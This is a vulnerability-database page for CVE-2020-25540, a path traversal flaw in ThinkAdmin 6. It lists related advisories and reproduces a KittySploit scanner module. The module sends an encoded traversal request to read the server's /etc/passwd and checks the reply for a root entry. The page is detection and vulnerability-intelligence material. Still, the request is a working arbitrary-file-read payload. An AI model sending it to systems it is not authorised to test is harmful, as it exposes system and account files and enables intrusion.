ThinkAdmin 6 - Local File Inclusion Detection
| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
| Exploit for Path Traversal in Thinkadmin | 19 Oct 202009:56 | – | githubexploit | |
| CVE-2020-25540 | 23 Apr 202418:12 | – | circl | |
| ThinkAdmin Directory Traversal Vulnerability | 15 Sep 202000:00 | – | cnvd | |
| CVE-2020-25540 | 14 Sep 202012:22 | – | cve | |
| CVE-2020-25540 | 14 Sep 202012:22 | – | cvelist | |
| ThinkAdmin v6 File Disclosure | 20 Sep 202000:00 | – | dsquare | |
| ThinkAdmin 6 - Arbitrarily File Read | 15 Sep 202000:00 | – | exploitdb | |
| ThinkAdmin directory traversal vulnerability | 24 May 202217:28 | – | github | |
| cve-2020-25540 | 25 Oct 202608:15 | – | kitploit | |
| ThinkAdmin-CVE-2020-25540 | 25 Oct 202611:37 | – | kitploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ThinkAdmin version 6 is affected by a local file inclusion vulnerability because an unauthorized attacker can ."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'ThinkAdmin 6 - Local File Inclusion Detection',
'description': 'ThinkAdmin version 6 is affected by a local file inclusion vulnerability because an unauthorized attacker can read arbitrary files on a remote server via GET request encode parameter.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2020', 'thinkadmin', 'lfi', 'edb', 'packetstorm', 'ctolog', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://www.exploit-db.com/exploits/48812',
'https://github.com/zoujingli/ThinkAdmin/issues/244',
'https://wtfsec.org/posts/thinkadmin-v6-%E5%88%97%E7%9B%AE%E5%BD%95-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96/',
'http://packetstormsecurity.com/files/159177/ThinkAdmin-6-Arbitrary-File-Read.html',
'https://nvd.nist.gov/vuln/detail/CVE-2020-25540',
],
'cve': 'CVE-2020-25540',
}
def run(self):
r = self.http_request(method="GET", path='/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_regexes = ('root:.*:0:0:',)
if (any(re.search(rx, body, 0) for rx in body_regexes)):
self.set_info(
severity='high',
reason="ThinkAdmin 6 - Local File Inclusion detected",
path='/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s',
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
7.5High risk
Vulners AI Score7.5
CVSS 25
CVSS 3.17.5
EPSS0.75332